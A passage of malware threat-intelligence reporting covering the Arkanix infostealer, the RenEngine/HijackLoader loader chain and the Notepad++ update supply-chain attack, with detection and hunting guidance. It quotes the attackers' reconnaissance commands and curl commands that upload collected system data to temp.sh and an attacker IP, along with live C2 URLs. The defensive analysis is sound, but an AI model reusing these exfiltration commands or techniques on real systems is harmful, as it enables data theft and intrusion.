Checks whether βExodusβ and βAtomicβ cryptocurrency wallets are installed
Extra collector
/api/extra-collector/{payload_id}
Uses a set of options from the config, such as collect_filezilla, collect_vpn_data, collect_steam, and collect_screenshots
HVNC
/hvnc
Is saved to the Startup directory (%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\hvnc.py) to execute upon system boot
The Wallet patcher and Extra collector scripts are received in an encrypted form from the C2 server. To decrypt them, the attackers utilize the AES-GCM algorithm in conjunction with PBKDF2 (HMAC and SHA256). After decryption, the additional payload has its template placeholders replaced and is stored under a partially randomized name within a temporary folder.
Decryption routine and template substitution
Once all operations are completed, the stealer removes itself from the drive, along with the artifacts folder (Arkanix_lol in this case).
Native version of stealer
MD5
a3fc46332dcd0a95e336f6927bae8bb7
File name
ArkanixStealer.exe
During our analysis, we were able to obtain both the release and debug versions of the native implementation, as both were uploaded to publicly available resources. The following are the key differences between the two:
The release version employs VMProtect, but does not utilize code virtualization.
The debug version communicates with a Discord bot for command and control (C2), whereas the release version uses the previously mentioned C2 domain arkanix[.]pw.
The debug version includes extensive logging, presumably for the authorsβ debugging purposes.
Notably, the native implementation explicitly references the name of the stealer in the VersionInfo resources. This naming convention is consistent across both the debug version and certain samples containing the release version of the implant.
Version info
After launching, the stealer implements a series of analysis countermeasures to verify that the application is not being executed within a sandboxed environment or run under a debugger. Following these checks, the sample patches AmsiScanBuffer and EtwEventWrite to prevent the triggering of any unwanted events by the system.
Once the preliminary checks are completed, the sample proceeds to gather information about the system. The list of capabilities is hardcoded and cannot be modified from the server side, in contrast to the Python version. What is more, the feature list is quite similar to the Python version except a few ones.
RDP connections
The stealer is capable of collecting information about known RDP connections that the compromised user has. To achieve this, it searches for .rdp files in %USERPROFILE%\Documents and extracts the full server address, password, username and server port.
Gaming files
The stealer also targets gamers and is capable to steal credentials from the popular gaming platform clients, including:
Steam
Epic Games Launcher
net
Riot
Origin
Unreal Engine
Ubisoft Connect
GOG
Screenshots
The native version, unlike its Python counterpart, is capable of capturing screenshots for each monitor via capCreateCaptureWindowA WinAPI.
In conclusion, this sample communicates with the C2 server through the same endpoints as the Python version. However, in this instance, all data is encrypted using the same AES-GCM + PBKDF2 (HMAC and SHA256) scheme as partially employed in the Python variant. In some observed samples, the key used was arkanix_secret_key_v20_2024. Alongside that, the C++ sample explicitly sets the User-Agent to ArkanixStealer/1.0.
Post-exploitation browser data extractor
MD5
3283f8c54a3ddf0bc0d4111cc1f950c0
File name
β
This is an implant embedded within the resources of the C++ implementation. The author incorporated it into the resource section without applying any obfuscation or encryption. Subsequently, the stealer extracts the payload to a temporary folder with a randomly generated name composed of hexadecimal digits (0-9 and A-F) and executes it using the CreateProcess WinAPI. The payload itself is the unaltered publicly available project known as βChromElevatorβ. To summarize, this tool consists of two components: an injector and the main payload. The injector initializes a direct syscall engine, spawns a suspended target browser process, and injects the decrypted code into it via Nt syscalls. The injected payload then decrypts the browser master key and exfiltrates data such as cookies, login information, web data, and so on.
Infrastructure
During the Arkanix campaign, two domains used in the attacks were identified. Although these domains were routed through Cloudflare, a real IP address was successfully discovered for one of them, namely, arkanix[.]pw. For the second one we only obtained a Cloudflare IP address.
Domain
IP
First seen
ASN
arkanix[.]pw
195.246.231[.]60
Oct 09, 2025
β
arkanix[.]ru
172.67.186[.]193
Oct 19, 2025
β
Both servers were also utilized to host the stealer panel, which allows attackers to monitor their victims. The contents of the panel are secured behind a sign-in page. Closer to the end of our research, the panel was seemingly taken down with no message or notice.
Stealer panel sign-in page
Stealer promotion
During the research of this campaign, we noticed that the forum posts advertising the stealer contained a link leading to a Discord server dubbed βArkanixβ by the authors. The server posed as a forum where authors posted various content and clients could ask various questions regarding this malicious software. While users mainly thank and ask about when the feature promised by the authors will be released and added into the stealer, the content made by the authors is broader. The adversary builds up the communication with potential buyers using the same marketing and communication methods real companies employ. To begin with, they warm up the audience by posting surveys about whether they should implement specific features, such as Discord injection and binding with a legitimate application (sic!).
Feature votes
Additionally, the author promised to release a crypter as a side project in four to six weeks, at the end of October. As of now, the stealer seems to have been taken down without any notice while the crypter was never released.
Arkanix Crypter
Furthermore, the Arkanix Stealer authors decided to implement a referral program to attract new customers. Referrers were promised an additional free hour to their premium license, while invited customers received seven days of free βpremiumβ trial use. As stated in forum posts, the premium plan included the following features:
C++ native stealer
Exodus and Atomic cryptocurrency wallets injection
Increased payload generation, up to 10 payloads
Priority support
Referral program ad and corresponding panel interface
Speaking of technical details, based on the screenshot of the Visual Studio stealer project that was sent to the Discord server, we can conclude that the author is German-speaking.
This same screenshot also serves as a probable indicator of AI-assisted development as it shares the common patterns of such assistants, e.g. the presence of the utils.cpp file. What provides even more confidence is the overall code structure, the presence of comments and extensive debugging log output.
Example of LLM-specific patterns
Conclusions
Information stealers have always posed as a serious threat to usersβ data. Arkanix is no exception as it targets a wide range of users, from those interested in cryptocurrencies and gaming to those using online banking. It collects a vast amount of information including highly sensitive personal data. While being quite functional, it contains probable traces of LLM-assisted development which suggests that such assistance might have drastically reduced development time and costs. Hence it follows that this campaign tends to be more of a one-shot campaign for quick financial gains rather than a long-running infection. The panel and the Discord chat were taken down around December 2025, leaving no message or traces of further development or a resurgence.
In addition, the developers behind the Arkanix Stealer decided to address the public, implementing a forum where they posted development insights, conducted surveys and even ran a referral program where you could get bonuses for βbringing a friendβ. This behavior makes Arkanix more of a public software product than a shady stealer.
We often describe cases of malware distribution under the guise of game cheats and pirated software. Sometimes such methods are used to spread complex malware that employs advanced techniques and sophisticated infection chains.
In February 2026, researchers from Howler Cell announced the discovery of a mass campaign distributing pirated games infected with a previously unknown family of malware. It turned out to be a loader called RenEngine, which was delivered to the device using a modified version of the RenβPy engine-based game launcher. Kaspersky solutions detect the RenEngine loader as Trojan.Python.Agent.nb and HEUR:Trojan.Python.Agent.gen.
However, this threat is not new. Our solutions began detecting the first samples of the RenEngine loader in March 2025, when it was used to distribute the Lumma stealer (Trojan-PSW.Win32.Lumma.gen).
In the ongoing incidents, ACR Stealer (Trojan-PSW.Win32.ACRstealer.gen) is being distributed as the final payload. We have been monitoring this campaign for a long time and will share some details in this article.
Incident analysis
Disguise as a visual novel
Letβs look at the first incident, which we detected in March 2025. At that time, the attackers distributed the malware under the guise of a hacked game on a popular gaming web resource.
The website featured a game download page with two buttons: Free Download Now and Direct Download. Both buttons had the same functionality: they redirected users to the MEGA file-sharing service, where they were offered to download an archive with the βgame.β
Game download page
When the βgameβ was launched, the download process would stop at 100%. One might think that the game froze, but that was not the case β the βrealβ malicious code just started working.
Placeholder with the download screen
βGameβ source files analysis
The full infection chain
After analyzing the source files, we found Python scripts that initiated the initial device infection. These scripts imitated the endless loading of the game. In addition, they contained the is_sandboxed function for bypassing the sandbox and xor_decrypt_file for decrypting the malicious payload. Using the latter, the script decrypts the ZIP archive, unpacks its contents into the .temp directory, and launches the unpacked files.
Contents of the .temp directory
There are five files in the .temp directory. The DKsyVGUJ.exe executable is not malicious. Its original name is Ahnenblatt4.exe, and it is a well-known legitimate application for organizing genealogical data. The borlndmm.dll library also does not contain malicious code; it implements the memory manager required to run the executable. Another library, cc32290mt.dll, contains a code snippet patched by attackers that intercepts control when the application is launched and deploys the first stage of the payload in the process memory.
HijackLoader
The dbghelp.dll system library is used as a βcontainerβ to launch the first stage of the payload. It is overwritten in memory with decrypted shellcode obtained from the gayal.asp file using the cc32290mt.dll library. The resulting payload is HijackLoader. This is a relatively new means of delivering and deploying malicious implants. A distinctive feature of this malware family is its modularity and configuration flexibility. HijackLoader was first detected and described in the summer of 2023. More detailed information about this loader is available to customers of the Kaspersky Intelligence Reporting Service.
The final payload can be delivered in two ways, depending on the configuration parameters of the malicious sample. The main HijackLoader ti module is used to launch and prepare the process for the final payload injection. In some cases, an additional module is also used, which is injected into an intermediate process launched by the main one. The code that performs the injection is the same in both cases.
Before creating a child process, the configuration parameters are encrypted using XOR and saved to the %TEMP% directory with a random name. The file name is written to the system environment variables.
Loading configuration parameters saved by the main module
In the analyzed sample, the execution follows a longer path with an intermediate child process, cmd.exe. It is created in suspended mode by calling the auxiliary module modCreateProcess. Then, using the ZwCreateSection and ZwMapViewOfSection system API calls, the code of the same dbghelp.dll library is loaded into the address space of the process, after which it intercepts control.
Next, the ti module, launched inside the child process, reads the hap.eml file, from which it decrypts the second stage of HijackLoader. The module then loads the pla.dll system library and overwrites the beginning of its code section with the received payload, after which it transfers control to this library.
Payload decryption
The decrypted payload is an EXE file, and the configuration parameters are set to inject it into the explorer.exe child process. The payload is written to the memory of the child process in several stages:
First, the malicious payload is written to a temporary file on disk using the transaction mechanism provided by the Windows API. The payload is written in several stages and not in the order in which the data is stored in the file. The MZ signature, with which any PE file begins, is written last with a delay.
Writing the payload to a temporary file
After that, the payload is loaded from the temporary file into the address space of the current process using the ZwCreateSection call. The transaction that wrote to the file is rolled back, thus deleting the temporary file with the payload.
Next, the sample uses the modCreateProcess module to launch the child process explorer.exe and injects the payload into it by creating a shared memory region with the ZwMapViewOfSection call.
Payload injection into the child process
Another HijackLoader module, rshell, is used to launch the shellcode. Its contents are also injected into the child process, replacing the code located at its entry point.
The rshell module injection
The last step performed by the parent process is starting a thread in the child process by calling ZwResumeThread. After that, the thread starts executing the rshell module code placed at the child process entry point, and the parent process terminates.
The rshell module prepares the final malicious payload. Once it has finished, it transfers control to another HijackLoader module called ESAL. It replaces the contents of rshell with zeros using the memset function and launches the final payload, which is a stealer from the Lumma family (Trojan-PSW.Win32.Lumma).
In addition to the modules described above, this HijackLoader sample contains the following modules, which were used at intermediate stages: COPYLIST, modTask, modUAC, and modWriteFile.
Kaspersky solutions detect HijackLoader with the verdicts Trojan.Win32.Penguish and Trojan.Win32.DllHijacker.
Not only games
In addition to gaming sites, we found that attackers created dozens of different web resources to distribute RenEngine under the guise of pirated software. On one such site, for example, users can supposedly download an activated version of the CorelDRAW graphics editor.
Distribution of RenEngine under the guise of the CorelDRAW pirated version
When the user clicks the Descargar Ahora (βDownload Nowβ) button, they are redirected several times to other malicious websites, after which an infected archive is downloaded to their device.
File storage imitations
Distribution
According to our data, since March 2025, RenEngine has affected users in the following countries:
Distribution of incidents involving the RenEngine loader by country (TOP 20), February 2026 (download)
The distribution pattern of this loader suggests that the attacks are not targeted. At the time of publication, we have recorded the highest number of incidents in Russia, Brazil, TΓΌrkiye, Spain, and Germany.
Recommendations for protection
The format of game archives is generally not standardized and is unique for each game. This means that there is no universal algorithm for unpacking and checking the contents of game archives. If the game engine does not check the integrity and authenticity of executable resources and scripts, such an archive can become a repository for malware if modified by attackers. Despite this, Kaspersky Premium protects against such threats with its Behavior Detection component.
The distribution of malware under the guise of pirated software and hacked games is not a new tactic. It is relatively easy to avoid infection by the malware described in this article: simply install games and programs from trusted sites. In addition, it is important for gamers to remember the need to install specialized security solutions. This ongoing campaign employs the Lumma and ACR stylers, and Vidar was also found β none of these are new threats, but rather long-known malware. This means that modern antivirus technologies can detect even modified versions of the above-mentioned stealers and their alternatives, preventing further infection.
UPD 11.02.2026: added recommendations on how to use the Notepad++ supply chain attack rules package in our SIEM system.
Introduction
On February 2, 2026, the developers of Notepad++, a text editor popular among developers, published a statement claiming that the update infrastructure of Notepad++ had been compromised. According to the statement, this was due to a hosting provider-level incident, which occurred from June to September 2025. However, attackers had been able to retain access to internal services until December 2025.
Multiple execution chains and payloads
Having checked our telemetry related to this incident, we were amazed to find out how different and unique the execution chains used in this supply chain attack were. We identified that over the course of four months, from July to October 2025, attackers who had compromised Notepad++ had been constantly rotating C2 server addresses used for distributing malicious updates, the downloaders used for implant delivery, as well as the final payloads.
We observed three different infection chains overall, designed to attack about a dozen machines, belonging to:
Individuals located in Vietnam, El Salvador, and Australia;
A government organization located in the Philippines;
A financial organization located in El Salvador;
An IT service provider organization located in Vietnam.
Despite the variety of payloads observed, Kaspersky solutions were able to block the identified attacks as they occurred.
In this article, we describe the variety of the infection chains we observed in the Notepad++ supply chain attack, as well as provide numerous previously unpublished IoCs related to it.
Chain #1: late July and early August 2025
We observed attackers to deploy a malicious Notepad++ update for the first time in late July 2025. It was hosted at http://45.76.155[.]202/update/update.exe. Notably, the first scan of this URL on the VirusTotal platform occurred in late September, by a user from Taiwan.
The update.exe file downloaded from this URL (SHA1: 8e6e505438c21f3d281e1cc257abdbf7223b7f5a) was launched by the legitimate Notepad++ updater process, GUP.exe. This file turned out to be a NSIS installer about 1 MB in size. When started, it sends a heartbeat containing system information to the attackers. This is done through the following steps:
The file creates a directory named %appdata%\ProShow and sets it as the current directory;
It executes the shell command cmd /c whoami&&tasklist > 1.txt, thus creating a file with the shell command execution results in the %appdata%\ProShow directory;
Then it uploads the 1.txt file to the temp[.]sh hosting service by executing the curl.exe -F "file=@1.txt" -s https://temp.sh/upload command;
Next, it sends the URL to the uploaded 1.txt file by using the curl.exe --user-agent "https://temp.sh/ZMRKV/1.txt" -s http://45.76.155[.]202 shell command. As can be observed, the uploaded file URL is transferred inside the user agent.
Notably, the same behavior of malicious Notepad++ updates, specifically the launch of shell commands and the use of the temp[.]sh website for file uploading, was described on the Notepad++ community forums by a user named soft-parsley.
After sending system information, the update.exe file executes the second-stage payload. To do that, it performs the following actions:
Drops the following files to the %appdata%\ProShow directory:
The ProShow.exe file being launched is legitimate ProShow software, which is abused to launch a malicious payload. Normally, when threat actors aim to execute a malicious payload inside a legitimate process, they resort to the DLL sideloading technique. However, this time attackers decided to avoid using it β likely due to how much attention this technique receives nowadays. Instead, they abused an old, known vulnerability in the ProShow software, which dates back to early 2010s. The dropped file named load contains an exploit payload, which is launched when the ProShow.exe file is launched. It is worth noting that, apart from this payload, all files in the %appdata%\ProShow directory are legitimate.
Analysis of the exploit payload revealed that it contained two shellcodes: one at the very start and the other one in the middle of the file. The shellcode located at the start of the file contained a set of meaningless instructions and was not designed to be executed β rather, attackers used it as the exploit padding bytes. It is likely that, by using a fake shellcode for padding bytes instead of something else (e.g., a sequence of 0x41 characters or random bytes), attackers aimed to confuse researchers and automated analysis systems.
The second shellcode, which is stored in the middle of the file, is the one that is launched when ProShow.exe is started. It decrypts a Metasploit downloader payload that retrieves a Cobalt Strike Beacon shellcode from the URL https://45.77.31[.]210/users/admin (user agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36) and launches it.
The Cobalt Strike Beacon payload is designed to communicate with the cdncheck.it[.]com C2 server. For instance, it uses the GET request URL https://45.77.31[.]210/api/update/v1 and the POST request URL https://45.77.31[.]210/api/FileUpload/submit.
Later on, in early August 2025, we observed attackers to use the same download URL for the update.exe files (observed SHA1 hash: 90e677d7ff5844407b9c073e3b7e896e078e11cd), as well as the same execution chain for delivery of Cobalt Strike Beacon via malicious Notepad++ updates. However, we noted the following differences:
In the Metasploit downloader payload, the URL for downloading Cobalt Strike Beacon was set to https://cdncheck.it[.]com/users/admin;
The Cobalt Strike C2 server URLs were set to https://cdncheck.it[.]com/api/update/v1 and https://cdncheck.it[.]com/api/Metadata/submit.
We have not further seen any infections leveraging chain #1 since early August 2025.
Chain #2: mid- and late September 2025
A month and a half after malicious update detections ceased, we observed attackers to resume deploying these updates in the middle of September 2025, using another infection chain. The malicious update was still being distributed from the URL http://45.76.155[.]202/update/update.exe, and the file downloaded from it (SHA1 hash: 573549869e84544e3ef253bdba79851dcde4963a) was an NSIS installer as well. However, its file size was now about 140 KB. Again, this file performed two actions:
Obtained system information by executing a shell command and uploading its execution results to temp[.]sh;
Dropped a next-stage payload on disk and launched it.
Regarding system information, attackers made the following changes to how it was collected:
They changed the working directory to %APPDATA%\Adobe\Scripts;
They started collecting more system information details, changing the shell command being executed to cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt.
The created a.txt file was, just as in the case of stage #1, uploaded to the temp[.]sh website through curl, with the obtained temp[.]sh URL being transferred to the same http://45.76.155[.]202/list endpoint, inside the User-Agent header.
As for the next-stage payload, it was changed completely. The NSIS installer was configured to drop the following files into the %APPDATA%\Adobe\Scripts directory:
Next, it executes the following shell command to launch the script.exe file: %APPDATA%\%Adobe\Scripts\script.exe %APPDATA%\Adobe\Scripts\alien.ini.
All of the files in the %APPDATA%\Adobe\Scripts directory, except for alien.ini, are legitimate and related to the Lua interpreter. As such, the previously mentioned command is used by attackers to launch a compiled Lua script, located in the alien.ini file. Below is a screenshot of its decompilation:
As we can see, this small script is used for placing shellcode inside executable memory and then launching it through the EnumWindowStationsW API function.
The launched shellcode is, just in the case of chain #1, a Metasploit downloader, which downloads a Cobalt Strike Beacon payload, again in the form of a shellcode, from the URL https://cdncheck.it[.]com/users/admin.
The Cobalt Strike payload contains the C2 server URLs that slightly differ from the ones seen previously: https://cdncheck.it[.]com/api/getInfo/v1 and https://cdncheck.it[.]com/api/FileUpload/submit.
Attacks involving chain #2 continued until the end of September, when we observed two more malicious update.exe files. One of them had the SHA1 hash 13179c8f19fbf3d8473c49983a199e6cb4f318f0. The Cobalt Strike Beacon payload delivered through it was configured to use the same URLs observed in mid-September, however, attackers changed the way system information was collected. Specifically, attackers split the single shell command they used for this (cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt) into multiple commands:
cmd /c whoami >> a.txt
cmd /c tasklist >> a.txt
cmd /c systeminfo >> a.txt
cmd /c netstat -ano >> a.txt
Notably, the same sequence of commands was previously documented by the user soft-parsley on the Notepad++ community forums.
The other update.exe file had the SHA1 hash 4c9aac447bf732acc97992290aa7a187b967ee2c. By using it, attackers performed the following:
Changed the system information upload URL to https://self-dns.it[.]com/list;
Changed the user agent used in HTTP requests to Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36;
Changed the URL used by the Metasploit downloader to https://safe-dns.it[.]com/help/Get-Start;
Changed the Cobalt Strike Beacon C2 server URLs to https://safe-dns.it[.]com/resolve and https://safe-dns.it[.]com/dns-query.
Chain #3: October 2025
In early October 2025, the attackers changed the infection chain once again. They also changed the C2 server for distributing malicious updates, with the observed update URL being http://45.32.144[.]255/update/update.exe. The payload downloaded (SHA1: d7ffd7b588880cf61b603346a3557e7cce648c93) was still a NSIS installer, however, unlike in the case of chains 1 and 2, this installer did not include the system information sending functionality. It simply dropped the following files to the %appdata%\Bluetooth\ directory:
BluetoothService.exe, a legitimate executable (SHA1: 21a942273c14e4b9d3faa58e4de1fd4d5014a1ed);
log.dll, a malicious DLL (SHA1: f7910d943a013eede24ac89d6388c1b98f8b3717);
BluetoothService, an encrypted shellcode (SHA1: 7e0790226ea461bcc9ecd4be3c315ace41e1c122).
This execution chain relies on the sideloading of the log.dll file, which is responsible for launching the encrypted BluetoothService shellcode into the BluetoothService.exe process. Notably, such execution chains are commonly used by Chinese-speaking threat actors. This particular execution chain has already been described by Rapid7, and the final payload observed in it is the custom Chrysalis backdoor.
Unlike the previous chains, chain #3 does not load a Cobalt Strike Beacon directly. However, in their article Rapid7 claim that they additionally observed a Cobalt Strike Beacon payload being deployed to the C:\ProgramData\USOShared folder, while conducting incident response on one of the machines infected by the Notepad++ supply chain attack. Whilst Rapid7 does not detail how this file was dropped to the victim machine, we can highlight the following similarities between that Beacon payload and the Beacon payloads observed in chains #1 and #2:
In both cases, Beacons are loaded through a Metasploit downloader shellcode, with similar URLs used (api.wiresguard.com/users/admin for the Rapid7 payload, cdncheck.it.com/users/admin and http://45.77.31[.]210/users/admin for chain #1 and chain #2 payloads);
The Beacon configurations are encrypted with the XOR key CRAZY;
Similar C2 server URLs are used for Cobalt Strike Beacon communications (i.e. api.wiresguard.com/api/FileUpload/submit for the Rapid7 payload and https://45.77.31[.]210/api/FileUpload/submit for the chain #1 payload).
Return of chain #2 and changes in URLs: October 2025
In mid-October 2025, we observed attackers to resume deployments of the chain #2 payload (SHA1 hash: 821c0cafb2aab0f063ef7e313f64313fc81d46cd) using yet another URL: http://95.179.213[.]0/update/update.exe. Still, this payload used the previously mentioned self-dns.it[.]com and safe-dns.it[.]com domain names for system information uploading, Metasploit downloader and Cobalt Strike Beacon communications.
Further in late October 2025, we observed attackers to start changing URLs used for malicious update deliveries. Specifically, attackers started using the following URLs:
http://95.179.213[.]0/update/install.exe;
http://95.179.213[.]0/update/update.exe;
http://95.179.213[.]0/update/AutoUpdater.exe.
We didnβt observe any new payloads deployed from these URLs β they involved usage of both #2 and #3 execution chains. Finally, we didnβt see any payloads being deployed since November 2025.
Conclusion
Notepad++ is a text editor used by numerous developers. As such, the ability to control update servers of this software gave the attackers a unique possibility to break into machines of high-profile organizations around the world. The attackers made an effort to avoid losing access to this infection vector β they were spreading the malicious implants in a targeted manner, and they were skilled enough to drastically change the infection chains about once a month. Whilst we identified three distinct infection chains during our investigation, we would not be surprised to see more of them in use. To sum up our findings, here is the overall timeline of the infection chains that we identified:
The variety of infection chains makes detection of the Notepad++ supply chain attack quite a difficult, and at the same time creative, task. We would like to propose the following methods, from generic to specific, to hunt down traces of this attack:
Check systems for deployments of NSIS installers, which were used in all three observed execution chains. For example, this can be done by looking for logs related to creations of a %localappdata%\Temp\ns.tmp directory, made by NSIS installers at runtime. Make sure to investigate the origins of each identified NSIS installer to avoid false positives;
Check network traffic logs for DNS resolutions of the temp[.]sh domain, which is unusual to observe in corporate environments. Also, it is beneficial to conduct a check for raw HTTP traffic requests that have a temp[.]sh URL embedded in the user agent β both these steps will make it possible to detect chain #1 and chain #2 deployments;
Check systems for launches of malicious shell commands referenced in the article, such as whoami, tasklist, systeminfo and netstat -ano;
Use the specific IoCs listed below to identify known malicious domains and files.
Letβs take a closer look at Kaspersky Next EDR Expert.
One way to detect the described malicious activity is to monitor requests to LOLC2 (Living-Off-the-Land C2) services, which include temp[.]sh. Attackers use such services as intermediate control or delivery points for malicious payloads, masking C2 communication as legitimate web traffic. KEDR Expert detects this activity using the lolc2_connection_activity_network rule.
In addition, the described activity can be detected by executing typical local reconnaissance commands that attackers launch in the early stages of an attack after gaining access to the system. These commands allow the attacker to quickly obtain information about the environment, access rights, running processes, and network connections to plan further actions. KEDR Expert detects such activity using the following rules: system_owner_user_discovery, using_whoami_to_check_that_current_user_is_admin, system_information_discovery_win, system_network_connections_discovery_via_standard_windows_utilities.
In this case, a clear sign of malicious activity is gaining persistence through the autorun mechanism via the Windows registry, specifically the Run key, which ensures that programs start automatically when the user logs in. KEDR Expert detects this activity using the temporary_folder_in_registry_autorun rule.
To protect companies that use our Kaspersky SIEM system, we have prepared a set of correlation rules that help detect such malicious activity. These rules are already available for customers to download from the SIEM repository; the package name is [OOTB] Notepad++ supply chain attack package β ENG.
The Notepad++ supply chain attack package contains rules that can be divided into two groups based on their detection capabilities:
Indicators of compromise:
malicious URLs used to extract information from the targeted infrastructure;
malicious file names and hashes that were detected in this campaign.
Suspicious activity on the host:
unusual command lines specific to these attacks;
suspicious network activity from Notepad++ processes and an abnormal process tree;
traces of data collection, e.g. single-character file names.
Some rules may need to be adjusted if they trigger on legitimate activity, such as administratorsβ or inventory agentsβ actions.
We also recommend using the rules from the Notepad++ supply chain attack package for retrospective analysis (threat hunting). Recommended analysis period: from September 2025.
For the detection rules to work correctly, you need to make sure that events from Windows systems are received in full, including events 4688 (with command line logging enabled), 5136 (packet filtering), 4663 (access to objects, especially files), etc.
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